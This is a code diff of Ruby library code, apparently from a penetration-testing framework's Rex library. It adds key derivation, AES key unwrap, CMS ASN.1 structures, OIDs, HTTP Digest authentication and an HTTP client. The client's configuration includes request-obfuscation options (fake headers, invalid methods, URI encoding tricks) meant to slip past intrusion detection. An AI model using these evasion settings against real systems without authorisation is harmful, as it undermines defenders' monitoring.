end
|
||||
|
||||
key_block.bytes.each_slice(length).to_a[...keys].map { |slice| slice.pack('C*') }
|
||||
end
|
||||
|
||||
# Generates key material using the NIST SP 800-108 R1 counter mode KDF with HMAC.
|
||||
#
|
||||
# @param secret [String] The secret key used as the HMAC key.
|
||||
# @param length [Integer] The desired output length of each key in bytes.
|
||||
# @param algorithm [String, Symbol] The HMAC hash algorithm (e.g., `SHA256`, `SHA512`).
|
||||
# @param keys [Integer] The number of derived keys to generate (default: 1).
|
||||
# @param label [String] Optional label to distinguish different derivations.
|
||||
# @param context [String] Optional context to bind the key derivation to specific information.
|
||||
#
|
||||
# @return [Array<String>] Returns an array of derived keys.
|
||||
#
|
||||
# @raise [ArgumentError] If the requested length is invalid or the algorithm is unsupported.
|
||||
def self.counter_hmac(secret, length, algorithm, keys: 1, label: ''.b, context: ''.b)
|
||||
prf = -> (data) { OpenSSL::HMAC.digest(algorithm, secret, data) }
|
||||
counter(length, prf, keys: keys, label: label, context: context)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,3 @@
|
||||
module Rex::Crypto::KeyWrap
|
||||
require 'rex/crypto/key_wrap/nist_sp_800_38f'
|
||||
end
|
||||
@@ -0,0 +1,52 @@
|
||||
# see: [NIST SP 800-38F, Section 6.2](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-38F.pdf)
|
||||
module Rex; end
|
||||
module Rex::Crypto; end
|
||||
module Rex::Crypto::KeyWrap; end
|
||||
|
||||
module Rex::Crypto::KeyWrap::NIST_SP_800_38f
|
||||
|
||||
# Performs AES key unwrapping from NIST SP 800-38F.
|
||||
#
|
||||
# @param kek [String] The key-encryption key (KEK) used to unwrap the ciphertext.
|
||||
# @param key_data [String] The wrapped key data.
|
||||
# @param authenticate [Boolean] Whether to check the data integrity or not.
|
||||
# @return [String, nil] The unwrapped key on success, or nil if unwrapping fails.
|
||||
#
|
||||
# @see https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-38F.pdf
|
||||
def self.aes_unwrap(kek, key_data, authenticate: true)
|
||||
# padded mode as described in Section 6.3 is not supported at this time
|
||||
raise Rex::ArgumentError.new('kek must be 16, 24 or 32-bytes long') unless [16, 24, 32].include?(kek.length)
|
||||
raise Rex::ArgumentError.new('key_data length must be a multiple of 8') unless key_data.length % 8 == 0
|
||||
icv1 = ("\xa6".b * 8)
|
||||
|
||||
r = key_data.bytes.each_slice(8).map { |c| c.pack('C*') }
|
||||
a = r.shift
|
||||
|
||||
ciph = -> (data) do
|
||||
# per-section 5.1, AES is the only suitable block cipher
|
||||
cipher = OpenSSL::Cipher::AES.new(kek.length * 8, :ECB).decrypt
|
||||
cipher.key = kek
|
||||
cipher.padding = 0
|
||||
cipher.update(data)
|
||||
end
|
||||
|
||||
n = r.length
|
||||
|
||||
5.downto(0) do |j|
|
||||
(n - 1).downto(0) do |i|
|
||||
atr = [a.unpack1('Q>') ^ ((n * j) + i + 1)].pack('Q>') + r[i]
|
||||
|
||||
b = ciph.call(atr)
|
||||
a = b[...8]
|
||||
r[i] = b[-8...]
|
||||
end
|
||||
end
|
||||
|
||||
# setting authenticate to true effectively switches the operation from Section 6.2 algorithm #2 to algorithm #4
|
||||
if authenticate && a != icv1
|
||||
raise Rex::RuntimeError.new('ICV1 integrity check failed in KW-AD(C)')
|
||||
end
|
||||
|
||||
r.join('')
|
||||
end
|
||||
end
|
||||
Executable
+295
@@ -0,0 +1,295 @@
|
||||
module Rex::Proto::CryptoAsn1::Cms
|
||||
class Attribute < RASN1::Model
|
||||
sequence :attribute,
|
||||
content: [objectid(:attribute_type),
|
||||
set_of(:attribute_values, RASN1::Types::Any)
|
||||
]
|
||||
end
|
||||
|
||||
class Certificate
|
||||
# Rather than specifying the entire structure of a certificate, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
|
||||
attr_accessor :options
|
||||
|
||||
def initialize(options={})
|
||||
self.options = options
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.options[:openssl_certificate]&.to_der || ''
|
||||
end
|
||||
|
||||
# RASN1 Glue method - Say if DER can be built (not default value, not optional without value, has a value)
|
||||
# @return [Boolean]
|
||||
# @since 0.12
|
||||
def can_build?
|
||||
!to_der.empty?
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def primitive?
|
||||
false
|
||||
end
|
||||
|
||||
# RASN1 Glue method
|
||||
def value
|
||||
options[:openssl_certificate]
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.options[:openssl_certificate] = OpenSSL::X509::Certificate.new(str)
|
||||
to_der.length
|
||||
end
|
||||
end
|
||||
|
||||
class AlgorithmIdentifier < RASN1::Model
|
||||
sequence :algorithm_identifier,
|
||||
content: [objectid(:algorithm),
|
||||
any(:parameters, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
class KeyDerivationAlgorithmIdentifier < AlgorithmIdentifier
|
||||
end
|
||||
|
||||
class KeyEncryptionAlgorithmIdentifier < AlgorithmIdentifier
|
||||
end
|
||||
|
||||
class ContentEncryptionAlgorithmIdentifier < AlgorithmIdentifier
|
||||
end
|
||||
|
||||
class OriginatorInfo < RASN1::Model
|
||||
sequence :originator_info,
|
||||
content: [set_of(:certs, Certificate, implicit: 0, optional: true),
|
||||
# CRLs - not implemented
|
||||
]
|
||||
end
|
||||
|
||||
class ContentType < RASN1::Types::ObjectId
|
||||
end
|
||||
|
||||
class EncryptedContent < RASN1::Types::OctetString
|
||||
end
|
||||
|
||||
class EncryptedContentInfo < RASN1::Model
|
||||
sequence :encrypted_content_info,
|
||||
content: [model(:content_type, ContentType),
|
||||
model(:content_encryption_algorithm, ContentEncryptionAlgorithmIdentifier),
|
||||
wrapper(model(:encrypted_content, EncryptedContent), implicit: 0, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
class Name
|
||||
# Rather than specifying the entire structure of a name, we pass this off
|
||||
# to OpenSSL, effectively providing an interface between RASN and OpenSSL.
|
||||
attr_accessor :value
|
||||
|
||||
def initialize(options={})
|
||||
end
|
||||
|
||||
def parse!(str, ber: false)
|
||||
self.value = OpenSSL::X509::Name.new(str)
|
||||
to_der.length
|
||||
end
|
||||
|
||||
def to_der
|
||||
self.value.to_der
|
||||
end
|
||||
end
|
||||
|
||||
class IssuerAndSerialNumber < RASN1::Model
|
||||
sequence :signer_identifier,
|
||||
content: [model(:issuer, Name),
|
||||
integer(:serial_number)
|
||||
]
|
||||
end
|
||||
|
||||
class CmsVersion < RASN1::Types::Integer
|
||||
end
|
||||
|
||||
class SubjectKeyIdentifier < RASN1::Types::OctetString
|
||||
end
|
||||
|
||||
class UserKeyingMaterial < RASN1::Types::OctetString
|
||||
end
|
||||
|
||||
class RecipientIdentifier < RASN1::Model
|
||||
choice :recipient_identifier,
|
||||
content: [model(:issuer_and_serial_number, IssuerAndSerialNumber),
|
||||
wrapper(model(:subject_key_identifier, SubjectKeyIdentifier), implicit: 0)]
|
||||
end
|
||||
|
||||
class EncryptedKey < RASN1::Types::OctetString
|
||||
end
|
||||
|
||||
class OtherKeyAttribute < RASN1::Model
|
||||
sequence :other_key_attribute,
|
||||
content: [objectid(:key_attr_id),
|
||||
any(:key_attr, optional: true)
|
||||
]
|
||||
end
|
||||
|
||||
class RecipientKeyIdentifier < RASN1::Model
|
||||
sequence :recipient_key_identifier,
|
||||
content: [model(:subject_key_identifier, SubjectKeyIdentifier),
|
||||
generalized_time(:date, optional: true),
|
||||
wrapper(model(:other, OtherKeyAttribute), optional: true)
|
||||
]
|
||||
|
||||
end
|
||||
|
||||
class KeyAgreeRecipientIdentifier < RASN1::Model
|
||||
choice :key_agree_recipient_identifier,
|
||||
content: [model(:issuer_and_serial_number, IssuerAndSerialNumber),
|
||||
wrapper(model(:r_key_id, RecipientKeyIdentifier), implicit: 0)]
|
||||
end
|
||||
|
||||
class RecipientEncryptedKey < RASN1::Model
|
||||
sequence :recipient_encrypted_key,
|
||||
content: [model(:rid, KeyAgreeRecipientIdentifier),
|
||||
model(:encrypted_key, EncryptedKey)]
|
||||
end
|
||||
|
||||
class KEKIdentifier < RASN1::Model
|
||||
sequence :kek_identifier,
|
||||
content: [octet_string(:key_identifier),
|
||||
generalized_time(:date, optional: true),
|
||||
wrapper(model(:other, OtherKeyAttribute), optional: true)]
|
||||
end
|
||||
|
||||
class KeyTransRecipientInfo < RASN1::Model
|
||||
sequence :key_trans_recipient_info,
|
||||
content: [model(:cms_version, CmsVersion),
|
||||
model(:rid, RecipientIdentifier),
|
||||
model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier),
|
||||
model(:encrypted_key, EncryptedKey)
|
||||
]
|
||||
end
|
||||
|
||||
class OriginatorPublicKey < RASN1::Model
|
||||
sequence :originator_public_key,
|
||||
content: [model(:algorithm, AlgorithmIdentifier),
|
||||
bit_string(:public_key)]
|
||||
end
|
||||
|
||||
class OriginatorIdentifierOrKey < RASN1::Model
|
||||
choice :originator_identifier_or_key,
|
||||
content: [model(:issuer_and_serial_number, IssuerAndSerialNumber),
|
||||
model(:subject_key_identifier, SubjectKeyIdentifier),
|
||||
model(:originator_public_key, OriginatorPublicKey)
|
||||
]
|
||||
end
|
||||
|
||||
class KeyAgreeRecipientInfo < RASN1::Model
|
||||
sequence :key_agree_recipient_info,
|
||||
content: [model(:cms_version, CmsVersion),
|
||||
wrapper(model(:originator, OriginatorIdentifierOrKey), explicit: 0),
|
||||
wrapper(model(:ukm, UserKeyingMaterial), explicit: 1, optional: true),
|
||||
model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier),
|
||||
sequence_of(:recipient_encrypted_keys, RecipientEncryptedKey)
|
||||
]
|
||||
end
|
||||
|
||||
class KEKRecipientInfo < RASN1::Model
|
||||
sequence :kek_recipient_info,
|
||||
content: [model(:cms_version, CmsVersion),
|
||||
model(:kekid, KEKIdentifier),
|
||||
model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier),
|
||||
model(:encrypted_key, EncryptedKey)
|
||||
]
|
||||
end
|
||||
|
||||
class PasswordRecipientInfo < RASN1::Model
|
||||
sequence :password_recipient_info,
|
||||
content: [model(:cms_version, CmsVersion),
|
||||
wrapper(model(:key_derivation_algorithm, KeyDerivationAlgorithmIdentifier), explicit: 0, optional: true),
|
||||
model(:key_encryption_algorithm, KeyEncryptionAlgorithmIdentifier),
|
||||
model(:encrypted_key, EncryptedKey)
|
||||
]
|
||||
end
|
||||
|
||||
class OtherRecipientInfo < RASN1::Model
|
||||
sequence :other_recipient_info,
|
||||
content: [objectid(:ore_type),
|
||||
any(:ory_value)
|
||||
]
|
||||
end
|
||||
|
||||
class RecipientInfo < RASN1::Model
|
||||
choice :recipient_info,
|
||||
content: [model(:ktri, KeyTransRecipientInfo),
|
||||
wrapper(model(:kari, KeyAgreeRecipientInfo), implicit: 1),
|
||||
wrapper(model(:kekri, KEKRecipientInfo), implicit: 2),
|
||||
wrapper(model(:pwri, PasswordRecipientInfo), implicit: 3),
|
||||
wrapper(model(:ori, OtherRecipientInfo), implicit: 4)]
|
||||
end
|
||||
|
||||
class EnvelopedData < RASN1::Model
|
||||
sequence :enveloped_data,
|
||||
explicit: 0, constructed: true,
|
||||
content: [model(:cms_version, CmsVersion),
|
||||
wrapper(model(:originator_info, OriginatorInfo), implict: 0, optional: true),
|
||||
set_of(:recipient_infos, RecipientInfo),
|
||||
model(:encrypted_content_info, EncryptedContentInfo),
|
||||
set_of(:unprotected_attrs, Attribute, implicit: 1, optional: true),
|
||||
]
|
||||
end
|
||||
|
||||
class SignerInfo < RASN1::Model
|
||||
sequence :signer_info,
|
||||
content: [integer(:version),
|
||||
model(:sid, IssuerAndSerialNumber),
|
||||
model(:digest_algorithm, AlgorithmIdentifier),
|
||||
set_of(:signed_attrs, Attribute, implicit: 0, optional: true),
|
||||
model(:signature_algorithm, AlgorithmIdentifier),
|
||||
octet_string(:signature),
|
||||
]
|
||||
end
|
||||
|
||||
class EncapsulatedContentInfo < RASN1::Model
|
||||
sequence :encapsulated_content_info,
|
||||
content: [objectid(:econtent_type),
|
||||
octet_string(:econtent, explicit: 0, constructed: true, optional: true)
|
||||
]
|
||||
|
||||
def econtent
|
||||
if self[:econtent_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_DIFFIE_HELLMAN_KEYDATA.value
|
||||
Rex::Proto::Kerberos::Model::Pkinit::KdcDhKeyInfo.parse(self[:econtent].value)
|
||||
elsif self[:econtent_type].value == Rex::Proto::Kerberos::Model::OID::PkinitAuthData
|
||||
Rex::Proto::Kerberos::Model::Pkinit::AuthPack.parse(self[:econtent].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class SignedData < RASN1::Model
|
||||
sequence :signed_data,
|
||||
explicit: 0, constructed: true,
|
||||
content: [integer(:version),
|
||||
set_of(:digest_algorithms, AlgorithmIdentifier),
|
||||
model(:encap_content_info, EncapsulatedContentInfo),
|
||||
set_of(:certificates, Certificate, implicit: 0, optional: true),
|
||||
# CRLs - not implemented
|
||||
set_of(:signer_infos, SignerInfo)
|
||||
]
|
||||
end
|
||||
|
||||
class ContentInfo < RASN1::Model
|
||||
sequence :content_info,
|
||||
content: [model(:content_type, ContentType),
|
||||
any(:data)
|
||||
]
|
||||
|
||||
def enveloped_data
|
||||
if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_ENVELOPED_DATA.value
|
||||
EnvelopedData.parse(self[:data].value)
|
||||
end
|
||||
end
|
||||
|
||||
def signed_data
|
||||
if self[:content_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_CMS_SIGNED_DATA.value
|
||||
SignedData.parse(self[:data].value)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -61,6 +61,16 @@ module Rex::Proto::CryptoAsn1
|
||||
OID_PKIX_KP_TIMESTAMP_SIGNING = ObjectId.new('1.3.6.1.5.5.7.3.8', name: 'OID_PKIX_KP_TIMESTAMP_SIGNING', label: 'Time Stamping')
|
||||
OID_ROOT_LIST_SIGNER = ObjectId.new('1.3.6.1.4.1.311.10.3.9', name: 'OID_ROOT_LIST_SIGNER', label: 'Root List Signer')
|
||||
OID_WHQL_CRYPTO = ObjectId.new('1.3.6.1.4.1.311.10.3.5', name: 'OID_WHQL_CRYPTO', label: 'Windows Hardware Driver Verification')
|
||||
OID_DIFFIE_HELLMAN_KEYDATA = ObjectId.new('1.3.6.1.5.2.3.2', name: 'OID_DIFFIE_HELLMAN_KEYDATA', label: 'Diffie Hellman Key Data')
|
||||
|
||||
|
||||
OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data')
|
||||
OID_CMS_SIGNED_DATA = ObjectId.new('1.2.840.113549.1.7.2', name: 'OID_CMS_SIGNED_DATA', label: 'CMS Signed Data')
|
||||
|
||||
OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode')
|
||||
OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode')
|
||||
OID_RSA_ENCRYPTION = ObjectId.new('1.2.840.113549.1.1.1', name: 'OID_RSA_ENCRYPTION', label: 'RSA public key encryption')
|
||||
OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding')
|
||||
|
||||
def self.name(value)
|
||||
value = ObjectId.new(value) if value.is_a?(String)
|
||||
|
||||
@@ -101,6 +101,14 @@ module Rex::Proto::CryptoAsn1::X509
|
||||
]
|
||||
end
|
||||
|
||||
class SubjectPublicKeyInfo < RASN1::Model
|
||||
sequence :subject_public_key_info,
|
||||
explicit: 1, constructed: true, optional: true,
|
||||
content: [model(:algorithm, Rex::Proto::CryptoAsn1::Cms::AlgorithmIdentifier),
|
||||
bit_string(:subject_public_key)
|
||||
]
|
||||
end
|
||||
|
||||
class BuiltinDomainDefinedAttribute < RASN1::Model
|
||||
sequence :BuiltinDomainDefinedAttribute, content: [
|
||||
printable_string(:type),
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
require 'digest'
|
||||
require 'rex/text'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Http
|
||||
class AuthDigest
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest '%x' % (::Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
def digest(digest_user, digest_password, method, path, parameters, iis = false)
|
||||
cnonce = make_cnonce
|
||||
nonce_count = 1
|
||||
|
||||
qop = parameters['qop']
|
||||
|
||||
if parameters['algorithm'] =~ /(.*?)(-sess)?$/
|
||||
algorithm = case ::Regexp.last_match(1)
|
||||
when 'MD5' then Digest::MD5
|
||||
when 'MD-5' then Digest::MD5
|
||||
when 'SHA1' then Digest::SHA1
|
||||
when 'SHA-1' then Digest::SHA1
|
||||
when 'SHA2' then Digest::SHA2
|
||||
when 'SHA-2' then Digest::SHA2
|
||||
when 'SHA256' then Digest::SHA256
|
||||
when 'SHA-256' then Digest::SHA256
|
||||
when 'SHA384' then Digest::SHA384
|
||||
when 'SHA-384' then Digest::SHA384
|
||||
when 'SHA512' then Digest::SHA512
|
||||
when 'SHA-512' then Digest::SHA512
|
||||
when 'RMD160' then Digest::RMD160
|
||||
else raise "unknown algorithm \"#{::Regexp.last_match(1)}\""
|
||||
end
|
||||
algstr = parameters['algorithm']
|
||||
sess = ::Regexp.last_match(2)
|
||||
else
|
||||
algorithm = Digest::MD5
|
||||
algstr = 'MD5'
|
||||
sess = false
|
||||
end
|
||||
a1 = if sess
|
||||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
end
|
||||
|
||||
ha1 = algorithm.hexdigest(a1)
|
||||
ha2 = algorithm.hexdigest("#{method}:#{path}")
|
||||
|
||||
request_digest = [ha1, parameters['nonce']]
|
||||
request_digest.push(('%08x' % nonce_count), cnonce, qop) if qop
|
||||
request_digest << ha2
|
||||
request_digest = request_digest.join ':'
|
||||
# Same order as IE7
|
||||
return [
|
||||
"Digest username=\"#{digest_user}\"",
|
||||
"realm=\"#{parameters['realm']}\"",
|
||||
"nonce=\"#{parameters['nonce']}\"",
|
||||
"uri=\"#{path}\"",
|
||||
"cnonce=\"#{cnonce}\"",
|
||||
"nc=#{'%08x' % nonce_count}",
|
||||
"algorithm=#{algstr}",
|
||||
"response=\"#{algorithm.hexdigest(request_digest)}\"",
|
||||
# The spec says the qop value shouldn't be enclosed in quotes, but
|
||||
# some versions of IIS require it and Apache accepts it. Chrome
|
||||
# and Firefox both send it without quotes but IE does it this way.
|
||||
# Use the non-compliant-but-everybody-does-it to be as compatible
|
||||
# as possible by default. The user can override if they don't like
|
||||
# it.
|
||||
if iis
|
||||
"qop=\"#{qop}\""
|
||||
else
|
||||
"qop=#{qop}"
|
||||
end,
|
||||
if parameters.key? 'opaque'
|
||||
"opaque=\"#{parameters['opaque']}\""
|
||||
end
|
||||
].compact
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
+726
-805
@@ -1,823 +1,744 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/socket'
|
||||
|
||||
require 'rex/text'
|
||||
require 'digest'
|
||||
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module Http
|
||||
|
||||
###
|
||||
#
|
||||
# Acts as a client to an HTTP server, sending requests and receiving responses.
|
||||
#
|
||||
# See the RFC: http://www.w3.org/Protocols/rfc2616/rfc2616.html
|
||||
#
|
||||
###
|
||||
class Client
|
||||
|
||||
#
|
||||
# Creates a new client instance
|
||||
# @param http_trace_proc_request [Proc] A proc object passed to log HTTP requests if HTTP-Trace is set
|
||||
# @param http_trace_proc_response [Proc] A proc object passed to log HTTP responses if HTTP-Trace is set
|
||||
#
|
||||
def initialize(host, port = 80, context = {}, ssl = nil, ssl_version = nil, proxies = nil, username = '', password = '', kerberos_authenticator: nil, comm: nil, subscriber: nil)
|
||||
self.hostname = host
|
||||
self.port = port.to_i
|
||||
self.context = context
|
||||
self.ssl = ssl
|
||||
self.ssl_version = ssl_version
|
||||
self.proxies = proxies
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.kerberos_authenticator = kerberos_authenticator
|
||||
self.comm = comm
|
||||
self.subscriber = subscriber || HttpSubscriber.new
|
||||
|
||||
# Take ClientRequest's defaults, but override with our own
|
||||
self.config = Http::ClientRequest::DefaultConfig.merge({
|
||||
'read_max_data' => (1024*1024*1),
|
||||
'vhost' => self.hostname,
|
||||
'ssl_server_name_indication' => self.hostname,
|
||||
})
|
||||
self.config['agent'] ||= Rex::UserAgent.session_agent
|
||||
|
||||
# XXX: This info should all be controlled by ClientRequest
|
||||
self.config_types = {
|
||||
'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'hex-noslashes', 'u-normal', 'u-random', 'u-all'],
|
||||
'uri_encode_count' => 'integer',
|
||||
'uri_full_url' => 'bool',
|
||||
'pad_method_uri_count' => 'integer',
|
||||
'pad_uri_version_count' => 'integer',
|
||||
'pad_method_uri_type' => ['space', 'tab', 'apache'],
|
||||
'pad_uri_version_type' => ['space', 'tab', 'apache'],
|
||||
'method_random_valid' => 'bool',
|
||||
'method_random_invalid' => 'bool',
|
||||
'method_random_case' => 'bool',
|
||||
'version_random_valid' => 'bool',
|
||||
'version_random_invalid' => 'bool',
|
||||
'uri_dir_self_reference' => 'bool',
|
||||
'uri_dir_fake_relative' => 'bool',
|
||||
'uri_use_backslashes' => 'bool',
|
||||
'pad_fake_headers' => 'bool',
|
||||
'pad_fake_headers_count' => 'integer',
|
||||
'pad_get_params' => 'bool',
|
||||
'pad_get_params_count' => 'integer',
|
||||
'pad_post_params' => 'bool',
|
||||
'pad_post_params_count' => 'integer',
|
||||
'shuffle_get_params' => 'bool',
|
||||
'shuffle_post_params' => 'bool',
|
||||
'uri_fake_end' => 'bool',
|
||||
'uri_fake_params_start' => 'bool',
|
||||
'header_folding' => 'bool',
|
||||
'chunked_size' => 'integer',
|
||||
'partial' => 'bool'
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Set configuration options
|
||||
#
|
||||
def set_config(opts = {})
|
||||
opts.each_pair do |var,val|
|
||||
# Default type is string
|
||||
typ = self.config_types[var] || 'string'
|
||||
|
||||
# These are enum types
|
||||
if typ.is_a?(Array)
|
||||
if not typ.include?(val)
|
||||
raise RuntimeError, "The specified value for #{var} is not one of the valid choices"
|
||||
end
|
||||
end
|
||||
|
||||
# The caller should have converted these to proper ruby types, but
|
||||
# take care of the case where they didn't before setting the
|
||||
# config.
|
||||
|
||||
if(typ == 'bool')
|
||||
val = (val == true || val.to_s =~ /^(t|y|1)/i)
|
||||
end
|
||||
|
||||
if(typ == 'integer')
|
||||
val = val.to_i
|
||||
end
|
||||
|
||||
self.config[var]=val
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Create an arbitrary HTTP request
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts 'agent' [String] User-Agent header value
|
||||
# @option opts 'connection' [String] Connection header value
|
||||
# @option opts 'cookie' [String] Cookie header value
|
||||
# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
|
||||
# @option opts 'encode' [Bool] URI encode the supplied URI, default: false
|
||||
# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# @option opts 'proto' [String] protocol, default: HTTP
|
||||
# @option opts 'query' [String] raw query string
|
||||
# @option opts 'raw_headers' [String] Raw HTTP headers
|
||||
# @option opts 'uri' [String] the URI to request
|
||||
# @option opts 'version' [String] version of the protocol, default: 1.1
|
||||
# @option opts 'vhost' [String] Host header value
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_raw(opts = {})
|
||||
opts = self.config.merge(opts)
|
||||
|
||||
opts['cgi'] = false
|
||||
opts['port'] = self.port
|
||||
opts['ssl'] = self.ssl
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Create a CGI compatible request
|
||||
#
|
||||
# @param (see #request_raw)
|
||||
# @option opts (see #request_raw)
|
||||
# @option opts 'ctype' [String] Content-Type header value, default for POST requests: +application/x-www-form-urlencoded+
|
||||
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
|
||||
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
|
||||
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
|
||||
# @option opts 'vars_form_data' [Hash] POST form_data variables as a hash to be translated into multi-part POST form data
|
||||
#
|
||||
# @return [ClientRequest]
|
||||
def request_cgi(opts = {})
|
||||
opts = self.config.merge(opts)
|
||||
|
||||
opts['cgi'] = true
|
||||
opts['port'] = self.port
|
||||
opts['ssl'] = self.ssl
|
||||
|
||||
ClientRequest.new(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the remote server if possible.
|
||||
#
|
||||
# @param t [Integer] Timeout
|
||||
# @see Rex::Socket::Tcp.create
|
||||
# @return [Rex::Socket::Tcp]
|
||||
def connect(t = -1)
|
||||
# If we already have a connection and we aren't pipelining, close it.
|
||||
if (self.conn)
|
||||
if !pipelining?
|
||||
close
|
||||
else
|
||||
return self.conn
|
||||
end
|
||||
end
|
||||
|
||||
timeout = (t.nil? or t == -1) ? 0 : t
|
||||
|
||||
self.conn = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => self.hostname,
|
||||
'PeerHostname' => self.config['ssl_server_name_indication'] || self.config['vhost'],
|
||||
'PeerPort' => self.port.to_i,
|
||||
'LocalHost' => self.local_host,
|
||||
'LocalPort' => self.local_port,
|
||||
'Context' => self.context,
|
||||
'SSL' => self.ssl,
|
||||
'SSLVersion' => self.ssl_version,
|
||||
'Proxies' => self.proxies,
|
||||
'Timeout' => timeout,
|
||||
'Comm' => self.comm
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the connection to the remote server.
|
||||
#
|
||||
def close
|
||||
if self.conn && !self.conn.closed?
|
||||
self.conn.shutdown
|
||||
self.conn.close
|
||||
end
|
||||
|
||||
self.conn = nil
|
||||
self.ntlm_client = nil
|
||||
end
|
||||
|
||||
#
|
||||
# Sends a request and gets a response back
|
||||
#
|
||||
# If the request is a 401, and we have creds, it will attempt to complete
|
||||
# authentication and return the final response
|
||||
#
|
||||
# @return (see #_send_recv)
|
||||
def send_recv(req, t = -1, persist = false)
|
||||
res = _send_recv(req, t, persist)
|
||||
if res and res.code == 401 and res.headers['WWW-Authenticate']
|
||||
res = send_auth(res, req.opts, t, persist)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
#
|
||||
# If persist is set, then the request will attempt to reuse an existing
|
||||
# connection.
|
||||
#
|
||||
# Call this directly instead of {#send_recv} if you don't want automatic
|
||||
# authentication handling.
|
||||
#
|
||||
# @return (see #read_response)
|
||||
def _send_recv(req, t = -1, persist = false)
|
||||
@pipeline = persist
|
||||
subscriber.on_request(req)
|
||||
if req.respond_to?(:opts) && req.opts['ntlm_transform_request'] && self.ntlm_client
|
||||
req = req.opts['ntlm_transform_request'].call(self.ntlm_client, req)
|
||||
elsif req.respond_to?(:opts) && req.opts['krb_transform_request'] && self.krb_encryptor
|
||||
req = req.opts['krb_transform_request'].call(self.krb_encryptor, req)
|
||||
end
|
||||
|
||||
send_request(req, t)
|
||||
|
||||
res = read_response(t, :original_request => req)
|
||||
if req.respond_to?(:opts) && req.opts['ntlm_transform_response'] && self.ntlm_client
|
||||
req.opts['ntlm_transform_response'].call(self.ntlm_client, res)
|
||||
elsif req.respond_to?(:opts) && req.opts['krb_transform_response'] && self.krb_encryptor
|
||||
req = req.opts['krb_transform_response'].call(self.krb_encryptor, res)
|
||||
end
|
||||
res.request = req.to_s if res
|
||||
res.peerinfo = peerinfo if res
|
||||
subscriber.on_response(res)
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Send an HTTP request to the server
|
||||
#
|
||||
# @param req [Request,ClientRequest,#to_s] The request to send
|
||||
# @param t (see #connect)
|
||||
#
|
||||
# @return [void]
|
||||
def send_request(req, t = -1)
|
||||
connect(t)
|
||||
conn.put(req.to_s)
|
||||
end
|
||||
|
||||
# Resends an HTTP Request with the proper authentication headers
|
||||
# set. If we do not support the authentication type the server requires
|
||||
# we return the original response object
|
||||
#
|
||||
# @param res [Response] the HTTP Response object
|
||||
# @param opts [Hash] the options used to generate the original HTTP request
|
||||
# @param t [Integer] the timeout for the request in seconds
|
||||
# @param persist [Boolean] whether or not to persist the TCP connection (pipelining)
|
||||
#
|
||||
# @return [Response] the last valid HTTP response object we received
|
||||
def send_auth(res, opts, t, persist)
|
||||
if opts['username'].nil? or opts['username'] == ''
|
||||
if self.username and not (self.username == '')
|
||||
opts['username'] = self.username
|
||||
opts['password'] = self.password
|
||||
else
|
||||
opts['username'] = nil
|
||||
opts['password'] = nil
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:kerberos_authenticator].nil?
|
||||
opts[:kerberos_authenticator] = self.kerberos_authenticator
|
||||
end
|
||||
|
||||
return res if (opts['username'].nil? or opts['username'] == '') and opts[:kerberos_authenticator].nil?
|
||||
supported_auths = res.headers['WWW-Authenticate']
|
||||
|
||||
